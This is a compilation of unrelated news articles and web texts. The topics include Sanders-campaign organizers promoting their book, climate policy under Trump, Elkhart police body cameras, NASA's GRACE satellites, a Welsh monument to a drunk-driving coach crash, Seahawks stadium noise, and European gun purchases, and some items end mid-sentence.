-In the week since the election, political pundits and everyone who didn’t vote for Donald Trump have been trying to wrap their heads around how he emerged victorious as president-elect.  Are the 60 million Americans who voted for Trump as ignorant, racist, and misogynistic as he proved to be during his campaign? Are they so disenchanted with the political establishment that they chose a con artist over a flawed but objectively more qualified candidate whose very name is synonymous with that establishment?  Of the many complicated factors that motivated the electorate, there’s evidence that the anti-establishment movement was a big one. We knew this when Bernie Sanders, an anti-establishment politician with very little name recognition, came close to beating Hillary Clinton during the primaries.  Early on, many progressive millennials admitted they preferred Sanders to Clinton. Now, that same demographic--joined by older supporters of both Sanders and Clinton—are marching to protest Trump’s election in cities across the country and calling for a political revolution.  They were marching down Manhattan’s Fifth Avenue on Tuesday when Becky Bond and Zack Exley, who spearheaded the grassroots volunteering efforts that helped Sanders surge ahead in the primaries, were at Civic Hall promoting their book, Rules for Revolutionaries: How Big Organizing Can Change Everything.  “We have to translate this energy into work that will actually blunt some of the worst abuses of the Trump administration, and also begin working to build the base of mass organizing that we’ll need to sweep the elections in 2018,” Bond said of the anti-Trump movement, while protesters chanted “not my president” outside.  I met the authors in a conference room at Civic Hall, ahead of a Q&A with Civic Hall co-founder Micah Sifry.  Bond worked for the CREDO—a mobile phone company that raised tens of millions of dollars for progressive groups—for 15 years before quitting her job to work full time for the Sanders campaign. Both authors are 46.  Having worked on Howard Dean’s presidential campaign in 2003, John Kerry’s in 2004, and Obama’s in 2008, Exley parlayed his knowledge of what made a campaign successful—particularly the Obama campaign’s strategy of forming “neighborhood teams” in battleground primary states—into efforts to mobilize and organize volunteers for the Sanders campaign.  Like Sanders himself, Bond and Exley aren’t interested in debating whether the Vermont senator could have beaten Trump had he been the Democratic nominee.  Yet they are certain the only way to fight the Trump administration now is to galvanize volunteers through “big organizing” for a revolutionary mass movement, just as they did for the Sanders campaign, pushing revolutionary progressive agendas through tech-enabled, peer-to-peer participation in politics.  Rules for Revolutionaries outlines 22 “rules” in chapters—from “The Revolution Will Not Be Staffed” to “People New to Politics Make the Best Revolutionaries”—and highlights major goals of big organizing: free public college, universal health care, an end to the drug war and the mass incarceration of racial minorities, and an anti-globalization industrial policy which, Bond and Exley argue, will create more jobs at home.  Many readers will recognize these goals from the Sanders campaign, but the book stresses that mass revolutionary organizing is bigger than the 2016 election: it’s what powered “virtually every transformational movement in US history from anticolonial rebellions up through the civil rights, women’s rights, and gay rights movements,” the authors write.  Indeed, the concept of big organizing isn’t new, but it’s especially appealing now to those who are fed up with establishment politics. There’s no big money in big organizing, and volunteers act as campaign staff.  In Rules for Revolutionaries, Bond and Exley explain that “big organizing is what populists used to simply call organizing but with the potential for much greater scale thanks to new and accessible technology for connecting people.”  Small organizing, by contrast, has risen recently with the liberal establishment’s attempts to address radical problems through incrementalist politics, putting power “in the hands of an increasingly small number of mega corporations and institutions,” they write.  Clinton’s campaign relied on small organizing, which Bond and Exley say works just fine when the goal is maintaining the status quo. But it’s not big enough to challenge the establishment.  “People are beginning to understand that the problems we face now, like climate change and racial injustice, are too big for incrementalist solutions,” Bond said on Tuesday. “We need to address these problems urgently and make huge changes before it’s too late.”  Both Bond and Exley noted that they were working on the fringe of the Sanders campaign in its early months, and that their big organizing tactics were considered so politically unorthodox at the time that it would have been irresponsible for the campaign to invest in them.  “The tragedy of these insurgent presidential campaigns is that hundreds of thousands of people want to come out and work but we don’t have the resources to put them to work,” Exley said, comparing the early grassroots movement of the Sanders campaign to a start-up with millions of customers and no product.  But their movement gained momentum over time: Sanders went from having only 3 percent name recognition at the start of his campaign to capturing 46 percent of pledged delegates—many of them pulled into politics for the first time—at the Democratic National Convention.  Kenneth Pennington, who was national digital director for the Sanders campaign, praised Exley and Bond’s big organizing efforts in an email to The Daily Beast.  “What Becky and Zack brought to Bernie 2016 was a strategy for organizing millions of volunteers that required fewer staff and less resources,” Pennington wrote, adding that they “built a network of largely self-sufficient volunteer teams that produced invaluable work for Bernie’s campaign.”  That invaluable work included 75,000 volunteer-run events around the country during the campaign, 8 million peer-to-peer text messages to supporters and voters, and 81 million phone calls to voters.  “Those kind of numbers only happen when you trust volunteers as leaders like Becky and Zack did,” Pennington wrote, remarking that their distributed organizing team “set the standard for how progressives should organize for decades and revolutions to come.”  Do they think their methods will be embraced in future presidential campaigns?  “It depends on who’s running the campaign,” Exley said, adding that veterans from the Clinton or O’Malley campaigns, for example, probably wouldn’t adopt a grassroots big organizing strategy. “They don’t know the potential of what we’re doing, so it won’t become standard.”  The key to changing the system, Exley and Bond argue, is understanding the importance of going for big goals that even progressive liberal politicians say are politically impossible.  And what of the progressive economists who argued that some of Sanders’s domestic economic proposals weren’t feasible?  In February, four former Democratic chairmen and chairwomen of the president’s Council of Economic Advisers wrote an excoriating letter to Sanders and Gerald Friedman, the source of the Sanders’s campaign’s numbers, calling out Friedman’s extremism and claims that “exceed even the most grandiose predictions by Republicans” and could “undermine the credibility of the progressive economic agenda.”  Responding to the letter, liberal economist Paul Krugman wrote in The New York Times that the Sanders campaign’s job projections and healthcare claims “aren’t just implausible, they’re embarrassing to anyone remotely familiar with economic history.”  Krugman noted that, under Sanders’s single-payer healthcare plan, health care costs would be disproportionately incurred by a small segment of the population.  “Paul Krugman is not a progressive economist,” Exley countered, arguing that economists have “shifted so far to the right” that liberals like Krugman are essentially promoting Reaganomics.  Bond concurred that ideology governs what people like Krugman consider feasible or possible—an odd assertion, given that Krugman and others who lambasted Sanders’s economic proposals have pushed for progressive reforms like raising the minimum wage.  “I don’t think there’s a strong empirical argument against making the changes we’re asking for,” she said, “it’s just a matter of prioritization.”  If the government can spend $20 trillion bailing out big banks and billions of dollars on wars in the Middle East, Exley and Bond argued, then it could certainly afford Sanders’s economic proposals.  To some, the core principles of mass organizing may seem similarly idealistic or counter-intuitive, like the idea that people are more likely to step up to the plate for game-changing issues—free college tuition!—than they are for incremental plans for change.  One can see how people new to politics—the best revolutionaries, according to Exley and Bond—would be more likely to rally behind those game-changing issues than more nuanced proposals.  “The people who are new come in with a sense of urgency and they don’t have bad ideas left over from the way they did it last time,” Exley said.  Today, many of those people are being asked by their friends on Facebook to protest Trump. How can they affect change through mass organizing now?  Bond cited the Black Lives Matter movement as an example of mass organization, and suggested that we appoint black leaders to deconstruct institutional racism while fighting for issues like income equality.  She also said that people need to be ready to act if, for example, President Trump mandated that all Muslims register. “We’d need to get millions of people to register as Muslims in solidarity,” she said, adding that—in the meantime—we should push for more American cities to be like San Francisco, a sanctuary city that protects immigrants from deportation.  Given that progressives already support these principles, we shouldn’t be surprised if an Occupy Wall Street-style, mass-organized movement arises in response to Trump’s presidency. And if the progressive anti-establishment movement that latched onto Sanders’s campaign pulls mainstream liberal voters into its camp, then Rules for Revolutionaries might become our generation’s political manifesto.
-Russia has begun delivering S-300 air defense missile systems to Iran.  The announcement was made on December 3 by the arms trade adviser to President Vladimir Putin.  However, Vladimir Kozhin did not disclose any details in comments quoted by Russia's TASS news agency.  Russia in 2010 froze a deal to supply advanced long-range S-300 missile systems to Iran, linking the decision to UN sanctions.  Putin lifted the suspension earlier this year following Iran's deal with six world powers to curb its nuclear program in exchange for relief from international sanctions.  Last month, officials said that Russia and Iran finalized the contract for their delivery.  The S-300 deal has long worried Israel and other countries in the region, as well as the United States, which see it as destabilizing.  Based on reporting by TASS and AP
-Could a Trump presidency, in effect, ruin the global climate forever?  The answer is yes. The global, delicate effort to mitigate climate change already faced so many challenges, took so long to build, and came into being so desperately late. Trump, who has denied climate change is real and has an energy strategy based almost entirely on fossil fuels, could derail the effort entirely if he pulls the US out.  But it doesn’t have to be so—especially if key actors like China step up and take on responsibility for their actions, and for the world.  China to the fore  Let’s get this out of the way: China is the biggest emitter of greenhouse gases in the world. It’s responsible for about a fifth of all emissions, having taken over as the top polluter from the US in 2006. China burns so much coal that air pollution there has been estimated to kill up to 1 million people a year.  And back in 2009, when the world came together in Copenhagen and reached a (non-binding) agreement on cutting emissions multilaterally, China stood out for the wrong reasons: It was uncooperative and committed to its particular brand of economic growth—which meant emissions growth.  But in recent years the country has changed its stance and its ways. In 2015, China committed to cutting its emissions per unit of GDP by 60%-65% from 2005 levels. Total emissions there are still rising, but China has said it would work hard to reach peak total emissions by 2030.  It hasn’t committed to cuts in absolute terms, as many countries—most of the European Union, for example—have. But it has made a massive financial commitment to clean energy, becoming the biggest builder of new renewable infrastructure in 2014.  It’s also improved the efficiency with which energy is used. From 1990 to 2000, China cut its energy intensity—the energy used to produce each unit of GDP—by 5.9%, according to the International Energy Association, significantly more than the global average of 1.5%.  None of this is leadership, which to date has come mainly from Europe. But there are tentative signs that is shifting, too.  China’s chief climate negotiator, Xie Zhenhua, said that Trump should honor the US’s existing global commitments.  Ahead of the US elections, China’s chief climate negotiator, Xie Zhenhua, took the rare step of commenting on a foreign election to say that Trump should honor the US’s existing global commitments. A “wise” politician, Xie said, was one who conformed to global trends.  While that’s fairly oblique compared to many of the criticisms of Trump, it is an unusual example of China publicly weighing in on the climate policies of another country. Now that China has accepted the need for unified action, perhaps it is becoming more ready to push for it.  Meanwhile, it’s becoming clear that as far as China is concerned, climate change is central to the global agenda. And that commitment isn’t likely to change. China’s leadership style may be authoritarian, but it’s good for policy continuity.  America’s recently acquired mantle  There are two parts to every country’s climate policy.  The first is domestic: The efforts to cut emissions at home through policies like taxes on fuel and carbon or subsidies on renewable-energy infrastructure.  The other part is international. This can mean showing leadership in the intricate negotiations necessary to get dozens of countries to agree to policies requiring them to work together for a common good. Negotiators need the skills to find a way forward that feels fair to actors with incredibly different needs—and, potentially, then selling the policies to the people back home. In recent years, international leadership has also meant richer nations taking responsibility for past emissions—the industrial eras that saw their economies grow vast, fast—by agreeing to essentially fund poorer nations’ transition away from fossil fuels.  The US is important in both arenas.  Its greenhouse-gas emissions were the highest in the world until 10 years ago and are still second highest, so cutting at home has an impact globally. And as the world’s biggest economy, it is looked to as a leader. It’s hard, though not impossible, for global policy-makers to act effectively without American buy-in.  Until very recently, the US was not leading in global climate change policy. Far from it.  But until very recently, the US was not leading in global climate-change policy. Far from it. Al Gore, who ran in 2000 on a platform that included very clear climate policies, could have become the first president to make a meaningful impact globally. Instead, George W. Bush won and promptly pulled America out of the Kyoto Protocol, the hard-fought agreement between nations to work multilaterally towards protecting the climate.  Barack Obama was the first president to make serious efforts to tackle climate change through domestic policy. A hostile legislature derailed many of these endeavors, and Obama was criticized abroad for failing to provide more global leadership. It wasn’t until winning a second term, with less to lose domestically (US presidents can serve only two terms) and the climate menace clearer than ever, that Obama took bigger steps to make the US less dependent on oil. And it took until 2014 for him to announce a bilateral agreement with China, in which both countries agreed to cut emissions by a fixed amount for the first time.  America’s ability to cut emissions has always been hampered by the need to balance a climate-friendly policy with domestic needs like cheap gasoline. It has lagged far behind countries like Germany and others in Europe, but it was beginning to shoulder responsibility, provide vision, and set an example. That might not be the case for long.  What a Trump about-face could mean  Trump’s energy strategy calls for lifting constraints on domestic fossil-fuel production and reintroducing coal, the most polluting fuel, into the mix. He keeps promising “clean coal” technology, which is so expensive that, despite years of intensive R&D effort, it barely exists anywhere in the world.  He has also promised to cancel payment to United Nations climate programs, and use that money instead to “fix America’s water and environmental infrastructure.” Such spectacular abdication of responsibility for historical or future climate change would see the US instead focus on patching parts of a country damaged by some of the very things international climate strategy is seeking to mitigate, like pollution.  Putting Myron Ebell in charge of an agency with a climate remit is more dangerous than not having such an agency at all.  There is some hope Trump won’t actually enact all his campaign promises, perhaps by being persuaded out of them by the people he appoints. The likelihood of the latter is slim when it comes to climate. One of Trump’s first acts as president-elect was to appoint Myron Ebell to lead the transition team for the Environmental Protection Agency. Ebell denies that climate change is real. Putting him in charge of an agency with a climate remit is more dangerous than not having such an agency at all, as it will lend legitimacy to views that most scientists believe are laughable. The one ray of hope is that Ebell may find few allies in the House or the Senate because his views are so extreme.  Trump has also said he will pull out of the climate deal signed in Paris a year ago, which came into force on Nov. 4 and which the US has already ratified. That deal is the world’s current best hope for averting catastrophic climate change and most observers agree that even it does not yet go nearly far enough.  Trump’s promised policies would be a massive blow to the already-slim possibility of keeping global temperature from rising more than 2° C above pre-industrial averages—the threshold for preventing irreversible damage.  It isn’t clear whether Trump truly doesn’t believe in climate change, or just doesn’t care about the future. If the latter were the case, it wouldn’t be unusual. Voters want to be happy today, and can find it hard to understand the implications of policies that won’t be felt in their lifetimes.  That is the central issue to the whole history of climate change: politicians have neither the incentive to care nor, usually, a long enough mandate to make a difference.  How to hope  In the face of such terrifying prospects, turning to China for leadership might be a wild clutching at straws. The country has forged its own path to prosperity without much reference to the rest of the world and at massive cost to the environment.  But as China and others develop and Western economies stagnate, the bulk of emissions is shifting away from the developed world to newer economies. China could be a better model than the US for a nearby country like India, which is also guilty of massive, careless, carbon-intensive growth.  India can easily shirk responsibility if China is also shirking.  Since the two are regional rivals, a better way to express the relationship might be not as one of leadership, but of competition: India can easily shirk responsibility if China is also shirking, but if China is going green, Indians might be more easily persuaded to as well.  And in 2015, for the first time, global economic decoupled from from growing emissions. That was due, for the most part, to emissions cuts in two countries: China and the US.  In short, Donald Trump is assuming a frightening degree of power at what might be a tipping point in global climate negotiation. But he’s still one man, with a finite term both in office and on earth, contending with issues that are much larger than him, and trudging head-on against the flow of scientific knowledge, popular opinion, and—as Xie noted—global political trends.  Trump was elected on a platform of strength. Wisdom we might have to seek elsewhere.
-GREENVILLE, N.C. -- A North Carolina university is conducting an internal review after one of its white police officers handcuffed a black man who had just been brutally beaten by four white people.  East Carolina University officials were appalled by the incident, which began off campus, but spilled onto the university when the man running from a beating was caught and beaten again near a dining hall, Chancellor Steve Ballard said Thursday in a statement to students.  "We understand the investigation thus far provides no confirmation that race played a role. We hope that to be the case, and we urge our campus and community to let the process work," Ballard said in his statement.  The incident began early March 17 when Patrick Myrick hit a woman in the face and she fell to the ground, Greenville Police said in news release.  Several people ran to Myrick and began beating him up, then chased him and beat him again. He suffered serious injuries and had to be taken to the hospital, police said.  Three of the white suspects have been arrested. Theresa Marie Lee, 25; Mack Humbles, 26; and Mark Privette, 33, are all charged with felony assault inflicting serious bodily injury. It wasn't known whether any had lawyers to speak on their behalf. Working phone numbers couldn't be found for the suspects.  Police are seeking the fourth suspect.  Lee was an East Carolina University student but is no longer enrolled, according to the school.  "We are appalled by the brutality of the incident. We will have zero tolerance for allowing these kind of things on our campus," Ballard said during a press conference Thursday.  The East Carolina University Police Department is also conducting an internal review of its officer who handcuffed Myrick. Officials did not name the officer but said he is on leave and not on campus.  Authorities said the officer did not use any violence against Myrick and a videotape of the incident is being reviewed.  Under North Carolina law, police officers can't charge Myrick with hitting the woman because they have to see the crime take place for a misdemeanor charge. But police said the woman has told investigators she wants to obtain an arrest warrant against him.  ECU students shared their reactions to the news with CBS affiliate WNCT.  "It makes me a littler more weary, like stay out of trouble, don't be by yourself. They should be there to help you but things could always go wrong," said ECU Freshman Barbara Garfinkle.  Another student, Nick Fullenwider, told WNCT he wants to hold off on judgment until the investigation is complete, adding that he hopes the school would be transparent.  "As long as we get more of that, I think that would go a long way to helping the situation all over the country," he said.
-Orders not received on the first delivery attempt.  Orders not held for pick up at the FEDEX/UPS facility when temperatures are greater than 90 degrees or lower than 40 degrees.  Orders placed during extreme weather will not be cover under our alive arrive guarenteed.  If the weather delay a flight, or closes an airport, you live stock will be delayed. Fedex has no control over the weather, nor does Freshmarine.com.  If your Live Stock is delay, Damaged, or Never Delivered due to severe weather condition, Fedex will not honor GUARANTEES, and therefore neither can Freshmarine.com.  FreshMarine.com only ships within the continental U.S. excludes Hawaii, Alaska, and Puerto Rico  If order under $350 Shipping Charge will be calculated base on the actual shipping weight. All livestock orders are shipped via Next Day Air. If other shipping method is chosen we will modify the shipping method. Live Rock and Sand are ship using 2nd day service. Drygoods, Aquarium Supplies, and Reptile supplies are ship using ground service unless Specified. All livestock orders must be shipped overnight via UPS or FEDEX Priority Overnight to reduce transit time. Orders generally ship within 1-2 business shipping days. All LiveStock are shipped Wednesday and will be deliver Thursday Morning. You will receive a confirmation email with your tracking number when your order has shipped.Saturday delivery must be made by special request by email or phone. Saturday delivery is an extra $26 charge.In the interest of meeting your schedule, if 70% of your order is in stock, it will be shipped. Any missing items or substitutions will be marked on your order and your total will be adjusted accordingly. If you would prefer to be contacted if we are missing items, please let us know when placing your order in the comment field. However, this may delay your order. Due to the nature of our products, we cannot backorder live animals.If your shipping address is different from your credit card billing address, please make sure your card issuer has listed this shipping address as an "authorized" address. We verify all addresses with VISA, MasterCard, Discover and American Express.UPS generally requires a signature for delivery. You or someone authorized by you, must be present to sign for a shipment if you choose to have it delivered to your home or office.Under the following circumstances we WILL NOT be able to honor our warranty:
-Elkhart Mayor Tim Neese has pulled all of the Elkhart Police Department’s body cameras off the streets.  Nearly a quarter of the 80 being used aren't working. The issue came to light after a deadly shooting where the officer's camera wasn't working.  The city and police department had high hopes for body cameras, but problems landed more of them in the shop instead of on the streets.  Early tests on them didn't indicate any problems using them  "We expect there to be some problems, but we didn't expect to have as many issues as what we have had -- 25 percent of them currently in repair,” said Elkhart Police Department’s Chris Snyder.  Elkhart Mayor Tim Neese is not happy with that number. He suspended the use of them after consulting with police.  "We are temporarily going to discontinue use of vest cams and the consensus is that the inconsistency or the irregularly of vest cams working is really worse than not having them, and so I want to emphasize that is on a temporary basis,” said Neese.  Since the 80 body cameras were officially brought on board last year and put out in the field, the city says the department has experienced a wide range of technical problems with them, ranging from radio interference to wiring and the battery life.  Police were hoping body cameras would shed light into the investigation of a Dec. 4 officer-involved shooting, but that officer's camera had malfunctioned before the incident.  That incident and other problems led the mayor to pull the cameras.  “It’s just been really a series of vest cams that have malfunctioned,” Neese said.  “You never know when they are working or not working properly. It’s very disruptive to law enforcement to go back and then find out something you thought was captured on video never got captured,” Snyder said.
-The GRACE mission was selected as the second mission under the NASA Earth System Science Pathfinder (ESSP) Program in May 1997. Launched in March of 2002, the GRACE mission is accurately mapping variations in Earth's gravity field. Designed for a nominal mission lifetime of five years, GRACE is currently operating in an extended mission phase, which is expected to continue through at least 2015.  GRACE consists of two identical spacecraft that fly about 220 kilometers (137 miles) apart in a polar orbit 500 kilometers (310 miles) above Earth. GRACE maps Earth's gravity field by making accurate measurements of the distance between the two satellites, using GPS and a microwave ranging system. It is providing scientists from all over the world with an efficient and cost-effective way to map Earth's gravity field with unprecedented accuracy. The results from this mission are yielding crucial information about the distribution and flow of mass within Earth and its surroundings.  The gravity variations studied by GRACE include: changes due to surface and deep currents in the ocean; runoff and ground water storage on land masses; exchanges between ice sheets or glaciers and the ocean; and variations of mass within Earth. Another goal of the mission is to create a better profile of Earth's atmosphere. GRACE results are making a huge contribution to the goals of NASA's Science Mission Directorate, Earth Observation System (EOS) and global climate change studies.  GRACE is a joint partnership between the National Aeronautics and Space Administration (NASA) in the United States and Deutsche Forschungsanstalt für Luft und Raumfahrt (DLR) in Germany. Dr. Byron Tapley of The University of Texas Center for Space Research (UTCSR) is the Principal Investigator (PI), and Frank Flechtner of the GeoForschungsZentrum (GFZ) Potsdam is the Co-Principal Investigator (Co-PI). Project management and systems engineering activities are carried out by the Jet Propulsion Laboratory.
-Image caption The monument was erected six years after the mail coach crash  A 19th Century monument erected to warn Welsh stagecoach drivers of the danger of drink-driving is to get a facelift.  The Mail Coach Pillar built in 1841 marks the spot on what is now the A40 between Llandovery and Brecon where a mail coach plunged over a precipice.  According to the inscription, driver Edward Jenkins was drunk at the reins.  It aims to "caution mail coach drivers to keep from intoxication," and has seen better days, but will be repaired for the first time in 80 years.  The inscription says the coach was travelling between Gloucester and Carmarthen on 19 December, 1835 when it plunged 121ft (about 38m) off the precipice.  The inscription says Mr Jenkins's coach was travelling at "full gallop" on the wrong side of the road when it met a cart coming in the opposite direction.  Broke into several pieces  The coach, along with the driver, guard and five passengers were sent tumbling into the valley where the coach hit an ash tree and broke into several pieces.  Everyone on board survived but Mr Edwards appeared before a magistrate in Llandovery and was fined £5 and costs, although he denied being drunk.  It's a grade II listed monument but quite unusual... I'm absolutely delighted Robin Ennion, Llandovery postmaster  The inspector of mail coaches, a Mr J Bull, suggested, designed and erected the monument which was paid for by public donations.  The inscription on it states that its aim is to "caution mail coach drivers to keep from intoxication."  Today, the top of the monument has broken off and the railings surrounded it have buckled - possibly after being hit by a large vehicle backing in to it.  The Royal Mail says it is working with the Brecon Beacons National Park Authority to restore the pillar and is contributing financially.  Llandovery's postmaster, Robin Ennion, said there had been calls to repair it for several years.  "It's a grade II listed monument but quite unusual. I'm absolutely delighted," he said.  Mr Ennion said thousands of people must travel past it without knowing its history and he hopes the restoration will preserve it for many years to come.  Romantic era  Llandovery town councillor Gill Wright told BBC Radio Wales the monument was of great historical interest.  It's these moments that you realise you'd much rather be driving your car, taking the bus or the train rather than clattering along in a cold coach Coun Gill Wright, Llandovery Town Council  "If it isn't unique, it's certainly very rare," she said.  "An outside memorial for the Royal Mail - very few of them were outside, if any. Most of them were inside buildings.  "It was definitely due a bit of a facelift but now it looks as though we're going to have a real go at it. The Royal Mail Heritage Trust is generously paying the cost," said the councillor.  "I think is probably more than a car that knocked it because it looks as though it followed a fault line in the stone. It's come off in a very straight line and for a time we thought maybe someone had cut it."  Mrs Wright said the monument reflected a romantic era of horse-drawn coaches but also the harsh reality of 19th Century travel.  "Very romantic - but it's these moments that you realise you'd much rather be driving your car, taking the bus or the train rather than clattering along in a cold coach."
-On the early sketches, the Hawks Nest bleachers were on the south end of the stadium, and the field-level end-zone suites were designed to invite Seahawks players to jump in among the fans, creating a Seattle version of the Lambeau Leap.  But planners quickly decided the Hawks Nest would better frame the view of the Seattle skyline on the north.  For unknown reasons, Seahawks touchdown scorers have not developed the habit of executing Hawk Hops over the short divider near the north end zone.  The noise created by the 12th Man fans and captured and reflected by the stadium configuration, well, that has more than met expectations.  Sign Up and Save Get six months of free digital access to The News Tribune  “(Seahawks owner) Paul Allen challenged us to generate a home-field advantage,” said David Murphy, original project director on what would become CenturyLink Field, which opened in 2002.  A recent test revealed a noise reading of 137.6 decibels during a Seahawks home game. That’s in the range between a pneumatic jackhammer (130 dBs) and a jet engine at 100 feet (140 dBs).  Saints coach Sean Payton is well-aware of the environment, having felt the measurable seismic activity when running back Marshawn Lynch scored the touchdown that beat New Orleans in January 2011, the last time they met in Seattle in the postseason.  So he is not interested in hearing about record decibel readings as his team prepares to play the Seahawks on Saturday at CenturyLink Field in an NFC divisional-playoff game.  “It’s kind of like August down here in New Orleans,” Payton said this week. “At some point, it’s as hot as can be, and we don’t need to know the exact temperature.”  But in the spirit of public service, Payton and the Saints should be reminded that the National Institute for Occupational Safety and Health warns of exposure to noise above 115 dBs for more than 15 minutes.  Welcome to an afternoon at CenturyLink Field: Home to 68,000 pneumatic jackhammers. New York Giants offensive lineman Shaun O’Hara, November 2005  O’Hara referenced the Nov. 27, 2005, game when frenzied fans discombobulated the Giants’ offense into 11 false starts and caused then-Seahawks coach Mike Holmgren to present the game ball to the 12th Man fans the next day.  Re-examine the effect of those 11 false starts. The Seahawks surely needed them in a 24-21 overtime victory. A loss in that game, and they would have finished 12-4 instead of 13-3, and the Giants also would have been 12-4 with a head-to-head win over the Seahawks to own the tiebreaker for NFC home-field rights.  Since 2005, Seahawks opponents in Seattle have committed a league-high 141 false starts — their faulty communication reputed to be caused by the intrusion of crowd noise.  Their advantage at CenturyLink the past two seasons has led to NFL-best figures in home record (15-1), home winning margin (17 points per game), home takeaways (41) and home turnover margin (+25).  Excluding Super Bowl XL, the Seahawks are 7-2 in home playoff games and 2-9 on the road. But they’ve won five in a row at home since starting their Super Bowl run in the 2005 season.  Seahawks linebackers coach Ken Norton Jr. has played and coached in 20 postseason games, more than anybody on the Seahawks’ roster or staff. He is the only player in NFL history to win three consecutive Super Bowls (two with the Dallas Cowboys and one with the San Francisco 49ers).  “Our 12th Man is unlike anything I’ve ever known,” Norton said when asked to compare his experience in NFL venues since the late 1980s. “There is no comparison: CenturyLink is far above and beyond anything I’ve ever experienced. Not to take away anything from Cowboys Stadium, which they’ve blown up, or Candlestick, which they’re about to blow up, but nothing’s even close to CenturyLink.  “Nothing compares to that energy and excitement.”  Norton cited great fans in Kansas City as well as the captured noise in some indoor arenas, but he contended the difference in Seattle is the expectation of the fans.  “They come here expecting to set records,” Norton said. “They expect to have an impact on the game with the false starts and keeping quarterbacks from making their checks. They absolutely know they are a part of this team.”  But, really? A part of the team?  “Absolutely, that’s for real,” Norton said. “The noise factor, and how that works into our pass rush ... that’s something we work into our game plan.” David Murphy on the way the roof canopies reflect the crowd noise back to the field  Then with the architectural firm Ellerbe Becket, Murphy spent his first day working on the Seahawks stadium project taking a tour of Husky Stadium. It was led by one of Allen’s Vulcan Inc. employees — former Washington quarterback Damon Huard.  Allen told Murphy how much he loved the experience of football games in the open air at Husky Stadium, where the cantilevered roofs cover most of the seats and, to some extent, reverberate the crowd noise. So the visit to Husky Stadium informed Murphy.  But the Kingdome, despite its flaws, also passed down influences to its SoDo successor — particularly in the way its design connected the fans to the action.  “It’s a legacy that goes back to the Kingdome days,” Murphy said. “It was a loud building that had a pretty intimate seating bowl with fans right on top of the action. That played into the design of CenturyLink.”  There was little choice, in fact, because CenturyLink’s urban setting mandated a smaller footprint than any other in the NFL.  “We had to find ways to fit an NFL stadium in there,” Murphy said. The answer was to stack the upper deck and angle all the seats toward the field.  “People wonder why a lot of domed stadiums aren’t louder. Well, they’re designed to accommodate concerts, so they have absorbent material in the roofs,” Murphy said. “But we wanted this to stay loud, so there’s no absorbent material in our roofs, and they’re positioned and oriented so it focuses the sound back at the field.”  The 3,000 aluminum bleacher seats in the Hawks Nest were intentionally designed in anticipation of the effect of 6,000 stomping feet. The innovative addition of the Red Zone Suites in the north end zone, Murphy said, was the idea of executives Bob Whitsitt and Bert Kolde “to create another price point and make it unique ... we were looking for a place where fans could interact with the players.”  Has anyone taken that leap?  “I think the most memorable thing was Terrell Owens signing the ball,” Murphy said of the 2002 Monday night game when the San Francisco receiver autographed a touchdown ball and handed it to one of his advisers, who was occupying a suite rented by Seahawks cornerback Shawn Springs — whom he had just beaten for the score. Saints quarterback Drew Brees after New Orleans’ Dec. 2 loss at CenturyLink  Some say CenturyLink’s facing canopies resemble clamshells. That’s probably from the perspective of Northwesterners with the taste for bivalve mollusks. To outsiders, it might look like a pair of jaws or a huge Venus flytrap.  Teams have fretted about it for years, many practicing the weeks before Seattle games with loud sound tracks pumped into practice facilities.  Most alter their game plans somewhat because of the noise, going to silent snap counts or going with quicker snaps and fewer audibles. So the effect is not just in the disruption of the false starts, but also in how teams alter their scheme and mechanics.  In December, the Saints tried special ear plugs.  Coach Payton recalled how well that worked, as a miscommunication on their first offensive snap caused the play to be botched and end up in a 4-yard loss.  “That was not real smart of me,” Payton said this week. “You open the game with a play that should go left but might be able to go right ... it’s probably right after they just raised the 12th Man flag, so it’s as loud as the stadium can be.”  The reputation of Seattle’s home-field advantage has spread beyond the players, coaches and football fans. Time magazine did a feature on it in September titled: “The Science of Sound: How Seattle Got So Darn Loud.”  Well, it got so darn loud with a confluence of three factors: an exciting football team playing in front of fervent fans in a unique setting.  Seahawks cornerback Richard Sherman warned visitors how difficult it is to prepare for this dangerous combination.  “Some (opponents) blare the noise from speakers, and if you play it loud enough, it’ll somewhat simulate it,” Sherman said. “But to simulate the noise, and to simulate our personnel along with the noise and everything that comes along with it, well, that is pretty difficult.”  It is not just the sound of CenturyLink, then, but also the fury within.  HOME-FIELD ADVANTAGE  Since moving to the NFC in 2002, the Seahawks have posted the second-best home record in the conference. The top five teams:  TeamRecordPercentage  Green Bay66-29-1.693  SEATTLE66-30.688  Atlanta60-36.625  Minnesota60-36.625  Chicago59-37.615  Dave Boling: 253-597-8440 dave.boling@  @DaveBoling
-At the same time the European Union bureaucrats in Brussels are trying to foist further gun controls on the continent, Europeans are exhibiting a newfound interest in acquiring the tools of self-defense. Though restricted by EU mandate and often severe national gun controls, following a series of high-profile attacks on women, Europeans are buying up whatever means of protection they can still legally obtain.  The surge in interest in firearms and other self-defense products dates back several months and relates in part to European unease surrounding mass immigration from the other parts of the world. In October, Fox News and others reported a marked increase in firearm sales in Austria. In the piece, Thomas Ortner, a spokesman for Austrian gun retailers, noted, “Nearly all shotguns are sold out because you don’t need to have a firearms permit to buy them… Registration courses for pistols are usually held only every five weeks but are now held weekly.”  By all accounts this trend has continued into 2016, spurred on by a scene of anarchic violence in the German city of Cologne. According to an account from the New York Times:  As 2016 neared on Dec. 31, however, some 1,500 men, including some newly arrived asylum seekers and many other immigrants, had instead assembled around Cologne’s train station. Drunk and dismissive of the police, they took advantage of an overwhelmed force to sexually assault and rob hundreds of people, according to police reports, shocking Germany and stoking anxieties over absorbing refugees across Europe.  As a January article from Reuters pointed out, a look at the best-selling products on the “Sport & Leisure” section of Amazon.de (the German Amazon.com) immediately following the attacks revealed brisk sales of defensive sprays. The report also noted that the president of German defensive spray manufacturer DEF-TEC told the news outlet that sales of the products had “rose seven-fold in the final three months of last year.” On January 15, NBC News reported that so far in 2016 over 300 people had applied to Cologne police for licenses to carry gas pistols and imitation firearms; while only 408 such licenses were granted in all of 2015. Further, the New York Post pointed out in an article titled “Europeans stocking up on guns after mass sex attacks,” actual firearms are also in great demand.  More recently, German state news agency Deutsche Welle noted this trend. According to the article, “most customers want a pistol that can fit easily into a handbag or a small drawer in the night table.” Moreover, a “social media expert” told the news outlet, “There has been an increase of at least 1,000 percent or more in Google search queries for gun permits since January.”  To their credit, rank and file German police officers appear to support the decision many Germans are taking to arm themselves. German Police Union Chief Rainer Wendt told Deutsche Welle that the police do not intend to obstruct citizens in their attempts to lawfully arm and that he does not support new laws that would make it more difficult for the public to obtain self-defense products.  As we pointed out back in November and December, this all comes at a time when the EU is seeking to crack down on firearm ownership in its member states. Pursuant to the European Firearms Directive, EU nations are already required to adopt a minimum threshold of gun restrictions. However, on November 18, 